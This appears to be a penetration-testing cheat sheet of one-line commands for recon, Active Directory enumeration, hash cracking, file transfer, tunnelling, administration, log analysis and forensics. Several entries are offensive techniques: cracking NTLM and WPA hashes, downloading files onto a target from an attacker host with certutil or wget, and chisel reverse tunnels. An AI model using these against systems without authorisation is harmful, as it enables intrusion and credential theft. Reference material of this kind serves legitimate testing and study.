// quick reference

Cheatsheet

189 commands you reach for on every box, with what each one is actually for. Swap in your lab IPs and copy with one click.

Recon

  • sudo nmap -sn 10.10.10.0/24

    # Host discovery only, no port scan

  • sudo nmap -p- --min-rate 2000 -oN all.txt $IP

    # Every TCP port, fast

  • sudo nmap -p $PORTS -sC -sV -oA deep $IP

    # Versions and default scripts on open ports

  • sudo nmap -sU --top-ports 25 $IP

    # Top UDP ports (SNMP, DNS, TFTP)

  • subfinder -d example.com -silent | httpx -silent -title

    # Passive subdomains, then probe for live web servers

  • curl -s 'https://crt.sh/?q=%25.example.com&output=json' | jq -r '.[].name_value' | sort -u

    # Subdomains from Certificate Transparency

Web

  • ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -fc 404

    # Directory discovery

  • ffuf -u http://$IP -H 'Host: FUZZ.target.htb' -w subdomains.txt -fs 0

    # Virtual host discovery, filter default size

  • curl -sI https://$HOST

    # Response headers only: server, cookies, security headers

  • curl -s https://$HOST/.well-known/security.txt

    # Official security contact and disclosure policy

  • whatweb -a 3 http://$IP

    # Fingerprint the tech stack

  • curl -s https://$HOST/robots.txt

    # Paths the site asks crawlers to skip

SMB & AD

  • smbclient -L //$IP -N

    # List shares with a null session

  • enum4linux-ng -A $IP

    # Users, groups, shares, and password policy

  • nxc smb $SUBNET --shares -u '' -p ''

    # Sweep a subnet for anonymous share access

  • ldapsearch -x -H ldap://$IP -s base namingcontexts

    # Find the domain's naming context

Files & Encoding

  • file mystery && strings -n 8 mystery | less

    # First look at any unknown file

  • exiftool image.jpg

    # Metadata: GPS, camera, software, authors

  • binwalk -e firmware.bin

    # Find and extract embedded files

  • echo 'aGVsbG8=' | base64 -d

    # Decode Base64

  • xxd file | head

    # Hex dump to check magic bytes

  • hashid '$HASH'

    # Guess a hash type before cracking

Workflow

  • python3 -m http.server 8000

    # Serve the current folder to lab machines

  • script -q -a session_$(date +%F_%H%M).log

    # Record your whole terminal session

  • tmux new -s engagement

    # Session that survives disconnects

  • searchsploit -m 12345

    # Copy an Exploit-DB entry locally to read it

  • ss -tulpn

    # Listening ports and their processes

  • jq -r '.results[] | .url' out.json

    # Pull fields from JSON tool output

Active Directory

  • nxc smb $IP -u $USER -p $PASS

    # Validate a credential and read host and domain info

  • nxc smb $IP -u $USER -p $PASS --users

    # Domain users, including description fields

  • nxc smb $IP -u $USER -p $PASS --groups

    # Domain groups and membership

  • nxc smb $IP -u $USER -p $PASS --pass-pol

    # Password policy (length, lockout, complexity)

  • nxc ldap $IP -u $USER -p $PASS --trusted-for-delegation

    # Accounts trusted for delegation

  • kerbrute userenum -d $DOMAIN --dc $IP users.txt

    # Confirm which usernames exist, no login needed

  • ldapsearch -x -H ldap://$IP -D '$USER@$DOMAIN' -w $PASS -b 'DC=example,DC=com' '(objectClass=user)' sAMAccountName description

    # Enumerate users and descriptions over authenticated LDAP

  • ldapsearch -x -H ldap://$IP -b 'DC=example,DC=com' '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))'

    # Disabled accounts via userAccountControl flags

  • bloodhound-python -d $DOMAIN -u $USER -p $PASS -c All -ns $IP

    # Collect relationships for BloodHound path analysis

  • GetADUsers.py -all $DOMAIN/$USER:$PASS -dc-ip $IP

    # Dump the user list with Impacket

  • nxc smb 10.10.10.0/24 -u $USER -p $PASS --shares

    # Map share access across the subnet with one credential

  • rpcclient -U '$USER%$PASS' $IP -c 'enumdomgroups'

    # Domain groups over RPC

  • timedatectl set-ntp off && sudo ntpdate $IP

    # Sync your clock to the DC so Kerberos works

Network Diagnostics

  • ip -br addr

    # Interfaces and addresses, one line each

  • ip route

    # Routing table and default gateway

  • ss -tulpn

    # Listening sockets and owning processes

  • ss -tnp state established

    # Established TCP connections

  • traceroute -n $HOST

    # Path to a host without reverse lookups

  • mtr -rwc 50 $HOST

    # Per-hop latency and loss report

  • ping -c 4 -M do -s 1472 $HOST

    # Test the path MTU (1472 + 28 bytes of headers = 1500)

  • nc -zv $HOST 443

    # Is one TCP port reachable?

  • curl -s https://ifconfig.me

    # Your public IP address

  • sudo tcpdump -i any -nn port 53

    # Watch DNS traffic live

  • sudo tcpdump -i eth0 -w capture.pcap host $IP

    # Capture traffic for one host to a file

  • tcpdump -nn -r capture.pcap 'tcp[tcpflags] & tcp-syn != 0'

    # Read back only SYN packets

  • tshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uri

    # HTTP requests from a capture

  • tshark -r capture.pcap -q -z conv,ip

    # Conversation summary by IP

  • tshark -r capture.pcap -Y dns -T fields -e dns.qry.name | sort | uniq -c | sort -rn

    # Most queried domain names

  • Test-NetConnection $HOST -Port 443

    # PowerShell port reachability test

  • Get-NetTCPConnection -State Listen

    # Listening ports on Windows

Hash Cracking

  • hashid '$HASH'

    # Identify a hash type before cracking

  • nth -t '$HASH'

    # name-that-hash, with Hashcat and John modes

  • hashcat -b

    # Benchmark your hardware's cracking speed

  • hashcat -m 0 -a 0 hashes.txt rockyou.txt

    # MD5 hashes against a wordlist

  • hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

    # NTLM hashes with a mutation ruleset

  • hashcat -m 1800 hashes.txt rockyou.txt

    # Linux sha512crypt ($6$) shadow hashes

  • hashcat -m 3200 hashes.txt rockyou.txt

    # bcrypt hashes (slow by design)

  • hashcat -m 22000 handshake.hc22000 rockyou.txt

    # WPA/WPA2 from a captured handshake (your own network)

  • hashcat -a 3 hashes.txt '?u?l?l?l?l?d?d?d'

    # Brute force a known password mask

  • hashcat -m 1000 hashes.txt --show

    # Show already-cracked hashes from the pot file

  • john --format=sha512crypt --wordlist=rockyou.txt hashes.txt

    # John the Ripper equivalent

  • john --show hashes.txt

    # Display cracked results

  • ssh2john id_rsa > id_rsa.hash

    # Convert an encrypted private key for cracking (keys you own)

  • zip2john secret.zip > secret.hash

    # Convert an encrypted archive you are authorized to open

File Transfer

  • python3 -m http.server 8000

    # Serve the current directory over HTTP

  • wget http://$LHOST:8000/file -O /tmp/file

    # Pull a file onto a Linux target

  • curl http://$LHOST:8000/file -o /tmp/file

    # Same with curl

  • scp file $USER@$IP:/tmp/

    # Copy over SSH

  • impacket-smbserver share . -smb2support

    # Stand up a quick SMB share for transfers

  • copy \\$LHOST\share\file.exe C:\Windows\Temp\

    # Pull from an SMB share on Windows

  • certutil -urlcache -split -f http://$LHOST:8000/file out.exe

    # Download on Windows with a built-in tool

  • powershell -c "Invoke-WebRequest http://$LHOST:8000/file -OutFile file"

    # Download with PowerShell

  • nc -lvnp 9001 > file && nc $IP 9001 < file

    # Transfer with netcat when nothing else is available

  • base64 -w0 file && echo '<paste>' | base64 -d > file

    # Move a file through a text-only channel

Pivoting & Tunnels

  • ssh -L 8080:127.0.0.1:80 $USER@$IP

    # Local forward: reach the target's internal port 80 at localhost:8080

  • ssh -R 9001:127.0.0.1:9001 $USER@$IP

    # Remote forward: expose your local port on the target

  • ssh -D 1080 $USER@$IP

    # Dynamic SOCKS proxy through the host

  • proxychains -q nmap -sT -Pn $INTERNAL_IP

    # Route another tool through the SOCKS proxy

  • sshuttle -r $USER@$IP 10.10.0.0/16

    # Transparent VPN-like routing over SSH, no proxychains

  • chisel server -p 8000 --reverse

    # Run a chisel server on your box for reverse tunnels

  • chisel client $LHOST:8000 R:socks

    # Connect back from the target to build a SOCKS tunnel

  • ip route add 10.10.0.0/16 dev tun0

    # Add a route to reach a network over an existing VPN interface

OpenSSL & TLS

  • openssl s_client -connect $HOST:443 -servername $HOST </dev/null

    # Handshake and certificate chain

  • openssl s_client -connect $HOST:443 -servername $HOST </dev/null 2>/dev/null | openssl x509 -noout -text

    # Decode the server certificate

  • openssl x509 -in cert.pem -noout -subject -issuer -dates

    # Who, issued by whom, and validity

  • openssl x509 -in cert.pem -noout -ext subjectAltName

    # Hostnames a certificate covers

  • openssl x509 -in cert.pem -noout -fingerprint -sha256

    # Certificate fingerprint

  • openssl s_client -connect $HOST:443 -tls1_2 </dev/null

    # Does the server accept TLS 1.2?

  • openssl verify -CAfile chain.pem cert.pem

    # Validate a certificate against a chain

  • openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 -nodes -keyout key.pem -out cert.pem -days 30 -subj '/CN=lab.test'

    # Self-signed lab certificate

  • openssl req -new -key key.pem -out request.csr -subj '/CN=$HOST'

    # Certificate signing request

  • openssl rand -hex 32

    # 256 random bits as hex

  • openssl dgst -sha256 file.bin

    # SHA-256 of a file

  • openssl enc -aes-256-gcm -pbkdf2 -in notes.txt -out notes.enc

    # Encrypt a file with a passphrase

  • openssl pkcs12 -in bundle.p12 -nokeys -out certs.pem

    # Extract certificates from a PKCS#12 bundle

  • openssl base64 -d -in blob.b64 -out blob.bin

    # Base64 decode a file

Linux Admin

  • uname -a && cat /etc/os-release

    # Kernel and distribution

  • id && groups

    # Current user, groups, and IDs

  • sudo -l

    # What the current user may run with sudo

  • last -a | head

    # Recent logins

  • who -a

    # Who is logged in now

  • ps auxf

    # Process tree

  • systemctl list-units --type=service --state=running

    # Running services

  • systemctl list-timers --all

    # Scheduled systemd timers

  • crontab -l; ls -la /etc/cron.*

    # Cron jobs for the user and system

  • journalctl -u ssh --since '1 hour ago'

    # Recent logs for one service

  • df -h && du -sh /var/* | sort -h

    # Disk usage and the biggest directories

  • find / -perm -4000 -type f 2>/dev/null

    # SUID binaries to review

  • find / -xdev -type f -mmin -60 2>/dev/null

    # Files changed in the last hour

  • lsof -i -P -n

    # Open network files per process

  • getent passwd | awk -F: '$3 >= 1000'

    # Human user accounts

  • chage -l $USER

    # Password ageing for an account

  • dpkg -l | grep -i ssh

    # Installed package versions (Debian family)

  • rpm -qa --last | head

    # Recently installed packages (RHEL family)

Windows Admin

  • systeminfo

    # OS version, patches, and domain

  • whoami /all

    # User, groups, and privileges

  • Get-ComputerInfo | Select-Object OsName, OsVersion, CsDomain

    # OS and domain in PowerShell

  • Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

    # Most recent patches

  • Get-LocalUser; Get-LocalGroupMember Administrators

    # Local accounts and admins

  • Get-Service | Where-Object Status -eq Running

    # Running services

  • Get-ScheduledTask | Where-Object State -ne Disabled

    # Enabled scheduled tasks

  • Get-Process | Sort-Object CPU -Descending | Select-Object -First 10

    # Busiest processes

  • Get-CimInstance Win32_StartupCommand

    # Programs that run at startup

  • Get-MpComputerStatus

    # Microsoft Defender status

  • Get-NetFirewallProfile | Select-Object Name, Enabled

    # Firewall profile state

  • Get-ChildItem -Recurse -File | Where-Object LastWriteTime -gt (Get-Date).AddHours(-1)

    # Files changed in the last hour

  • Get-FileHash file.exe -Algorithm SHA256

    # Hash a file

  • auditpol /get /category:*

    # Current audit policy

Log Analysis

  • grep 'Failed password' /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head

    # Top sources of failed SSH logins

  • grep 'Accepted' /var/log/auth.log

    # Successful SSH logins

  • journalctl _COMM=sudo --since today

    # sudo usage today

  • awk '{print $1}' access.log | sort | uniq -c | sort -rn | head

    # Top client IPs in a web log

  • awk '$9 >= 500' access.log | tail

    # Recent server errors

  • grep -E "(union.*select|\.\./|<script)" access.log

    # Requests that look like injection attempts

  • awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -20

    # Most requested paths

  • zgrep -h $IP /var/log/nginx/access.log*

    # Search rotated, compressed logs for one IP

  • jq -r 'select(.level=="error") | .msg' app.log

    # Errors from JSON logs

  • Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 20

    # Recent failed Windows logons

  • Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} | Where-Object { $_.Properties[8].Value -eq 10 }

    # Remote interactive (RDP) logons

  • Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4720}

    # Accounts created

  • Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -MaxEvents 50

    # Recent PowerShell activity

  • Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

    # New services installed

Forensics & Files

  • sha256sum evidence.img > evidence.img.sha256

    # Record a hash before you analyze anything

  • sudo dd if=/dev/sdb of=disk.img bs=4M status=progress conv=noerror,sync

    # Image a disk

  • mmls disk.img

    # Partition layout of an image

  • fls -r -o $OFFSET disk.img

    # List files, including deleted ones

  • sudo mount -o ro,loop,offset=$((512*$START)) disk.img /mnt/evidence

    # Mount a partition read only

  • stat file

    # Timestamps: access, modify, change, birth

  • file unknown.bin && xxd unknown.bin | head

    # Identify a file by magic bytes

  • strings -el unknown.exe | less

    # UTF-16 strings, common in Windows binaries

  • exiftool -a -G1 photo.jpg

    # All metadata, grouped by source

  • binwalk -e firmware.bin

    # Find and extract embedded files

  • foremost -i disk.img -o carved/

    # Carve files from raw data

  • vol -f memory.raw windows.pslist

    # Processes from a memory image (Volatility 3)

  • vol -f memory.raw windows.netscan

    # Network connections from memory

  • yara -r rules.yar ./samples

    # Scan files with YARA rules

Git & Containers

  • git log --all --oneline --graph

    # Full history across branches

  • git log -p -S 'password' --all

    # Commits that added or removed a string

  • git show $COMMIT --stat

    # Files changed in one commit

  • gitleaks detect --source . -v

    # Scan a repository for committed secrets

  • git config --list --show-origin

    # Effective git configuration and where it came from

  • docker ps -a --format 'table {{.Names}}\t{{.Image}}\t{{.Status}}'

    # All containers

  • docker inspect $CONTAINER | jq '.[0].HostConfig | {Privileged, Binds, NetworkMode}'

    # Risky container settings

  • docker history --no-trunc $IMAGE

    # Image layers and the commands that built them

  • docker run --rm -it --network none $IMAGE sh

    # Explore an image with no network

  • trivy image $IMAGE

    # Known vulnerabilities in an image

  • kubectl auth can-i --list

    # What your Kubernetes identity may do

  • kubectl get pods -A -o wide

    # Pods in every namespace

  • kubectl get secrets -A

    # Which secrets exist (names only)

Cloud CLI

  • aws sts get-caller-identity

    # Which AWS identity you are using

  • aws iam list-attached-user-policies --user-name $USER

    # Policies attached to a user

  • aws s3 ls s3://$BUCKET --no-sign-request

    # Is a bucket publicly listable?

  • aws s3api get-bucket-policy --bucket $BUCKET

    # Bucket policy

  • aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?IpRanges[?CidrIp==`0.0.0.0/0`]]].GroupId'

    # Security groups open to the internet

  • aws cloudtrail lookup-events --max-results 20

    # Recent API activity

  • az account show

    # Current Azure subscription and identity

  • az role assignment list --assignee $USER --all

    # Azure role assignments

  • gcloud auth list && gcloud config list

    # Active Google Cloud account and project

  • gcloud projects get-iam-policy $PROJECT

    # Project IAM bindings

  • prowler aws

    # Broad AWS security posture checks

  • scoutsuite aws

    # Multi-cloud configuration review